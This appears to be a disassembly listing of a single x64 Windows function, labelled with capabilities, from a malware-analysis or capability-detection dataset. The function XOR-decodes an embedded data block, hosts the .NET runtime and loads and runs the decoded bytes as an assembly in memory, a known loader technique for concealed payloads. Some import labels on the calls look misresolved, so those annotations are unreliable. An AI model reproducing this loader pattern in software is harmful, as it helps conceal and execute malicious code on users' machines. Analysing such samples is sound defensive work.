Function at 0x140001000
Capabilities:
Encode data using xor
Load windows common language runtime

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x2f]
sub rsp, 0xb8
xor r14d, r14d
mov ecx, r14d
lea rbx, section..data
movabs r8, 0x8080808080808081
nop dword [rax]
mov rax, r8
mul rcx
shr rdx, 7
add dl, cl
xor byte [rcx + rbx], dl
inc rcx
cmp rcx, 0x1000
jb 0x140001030
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov qword [rbp - 0x51], r14
mov qword [rbp - 0x39], r14
mov qword [rbp - 0x31], r14
lea r8, [rbp - 0x51]
lea rdx, [0x140013380]
lea rcx, [0x140013390]
call sub.mscoree.dll_CLRCreateInstance
lea r8, [rbp - 0x39]
lea rdx, [0x1400133a0]
lea rcx, [0x1400133b0]
call sub.mscoree.dll_CLRCreateInstance
lea r8, [rbp - 0x31]
lea rdx, [0x1400133c0]
lea rcx, [0x1400133d0]
call sub.mscoree.dll_CLRCreateInstance
mov qword [rbp - 0x61], r14
mov rcx, qword [rbp - 0x51]
mov rax, qword [rcx]
lea r9, [rbp - 0x61]
lea r8, [0x1400133e0]
lea rdx, str.v4.0.30319
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rbp - 0x61]
mov rax, qword [rcx]
lea rdx, [rbp + 0x67]
call qword [rax + 0x50]
mov qword [rbp - 0x59], r14
mov rcx, qword [rbp - 0x61]
mov rax, qword [rcx]
lea r9, [rbp - 0x59]
lea r8, [0x140013400]
lea rdx, [0x1400133f0]
call qword [rax + 0x48]
mov rcx, qword [rbp - 0x59]
mov rax, qword [rcx]
call qword [rax + 0x50]
mov qword [rbp - 0x69], r14
mov rcx, qword [rbp - 0x59]
mov rax, qword [rcx]
mov qword [rbp - 0x69], r14
lea rdx, [rbp - 0x69]
call qword [rax + 0x68]
mov qword [rbp + 0x7f], r14
mov rcx, qword [rbp - 0x69]
test rcx, rcx
je 0x1400012c6
mov rax, qword [rcx]
mov qword [rbp + 0x7f], r14
lea r8, [rbp + 0x7f]
lea rdx, [0x140013438]
call qword [rax]
mov qword [rbp + 0x6f], r14
mov qword [rbp - 0x49], 0x1000
mov ecx, 0x11
lea r8, [rbp - 0x49]
mov r15d, 1
mov edx, r15d
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov rdi, rax
mov qword [rbp - 0x41], r14
lea rdx, [rbp - 0x41]
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov r8d, 0x1000
mov rdx, rbx
mov rcx, qword [rbp - 0x41]
call fcn.140011440
mov rcx, rdi
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov rbx, qword [rbp + 0x7f]
test rbx, rbx
je 0x1400012bb
mov rax, qword [rbx]
mov rsi, qword [rax + 0x168]
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x1400011b6
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov qword [rbp + 0x6f], r14
lea r8, [rbp + 0x6f]
mov rdx, rdi
mov rcx, rbx
call rsi
mov qword [rbp + 0x77], r14
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x1400012d1
mov rax, qword [rcx]
mov qword [rbp + 0x77], r14
lea rdx, [rbp + 0x77]
call qword [rax + 0x80]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x11], xmm0
mov qword [rbp - 1], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x29], xmm1
mov qword [rbp - 0x19], rax
mov word [rbp - 0x29], r15w
mov ecx, SafeArrayDestroy
mov r8d, r15d
xor edx, edx
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov rbx, rax
lea rcx, str.salut
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r8, rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov rcx, qword [rbp + 0x77]
test rcx, rcx
je 0x1400012d1
mov rdx, qword [rcx]
mov r10, qword [rdx + 0x128]
movups xmm0, xmmword [rbp - 0x29]
movaps xmmword [rbp + 7], xmm0
movsd xmm1, qword [rbp - 0x19]
movsd qword [rbp + 0x17], xmm1
lea r9, [rbp - 0x11]
mov r8, rbx
lea rdx, [rbp + 7]
call r10
nop
mov rcx, qword [rbp + 0x77]
test rcx, rcx
je 0x14000127b
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x14000128b
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0x7f]
test rcx, rcx
je 0x14000129b
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp - 0x69]
test rcx, rcx
je 0x1400012ab
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
add rsp, 0xb8
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80004003
call fcn.140001320
nop
mov ecx, 0x80004003
call fcn.140001320
nop
mov ecx, 0x80004003
call fcn.140001320
int3